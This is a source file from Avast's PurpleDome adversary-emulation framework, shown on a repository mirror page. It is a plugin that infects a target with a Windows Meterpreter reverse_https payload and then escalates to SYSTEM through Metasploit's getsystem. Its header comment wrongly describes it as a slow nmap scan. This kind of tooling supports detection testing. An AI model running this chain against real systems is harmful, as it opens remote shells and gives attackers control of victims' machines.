mirror of https://github.com/avast/PurpleDome
You cannot select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
44 lines
1.3 KiB
Python
44 lines
1.3 KiB
Python
#!/usr/bin/env python3
|
|
|
|
# A plugin to nmap targets slow motion, to evade sensors
|
|
|
|
from plugins.base.attack import AttackPlugin
|
|
from app.metasploit import MetasploitInstant
|
|
|
|
|
|
class MetasploitGetsystemPlugin(AttackPlugin):
|
|
|
|
# Boilerplate
|
|
name = "metasploit_getsystem"
|
|
description = "Privilege elevation via metasploit getsystem"
|
|
ttp = "????"
|
|
references = ["https://docs.rapid7.com/metasploit/meterpreter-getsystem/"]
|
|
|
|
required_files = [] # Files shipped with the plugin which are needed by the kali tool. Will be copied to the kali share
|
|
|
|
def __init__(self):
|
|
super().__init__()
|
|
self.plugin_path = __file__
|
|
|
|
def run(self, targets):
|
|
""" Run the command
|
|
|
|
@param targets: A list of targets, ip addresses will do
|
|
"""
|
|
|
|
res = ""
|
|
payload_type = "windows/x64/meterpreter/reverse_https"
|
|
payload_name = "babymetal.exe"
|
|
target = self.targets[0]
|
|
|
|
metasploit = MetasploitInstant(self.metasploit_password,
|
|
attack_logger=self.attack_logger,
|
|
attacker=self.attacker_machine_plugin,
|
|
username=self.metasploit_user)
|
|
|
|
metasploit.smart_infect(target, payload_type, payload_name, )
|
|
|
|
metasploit.getsystem(target)
|
|
|
|
return res
|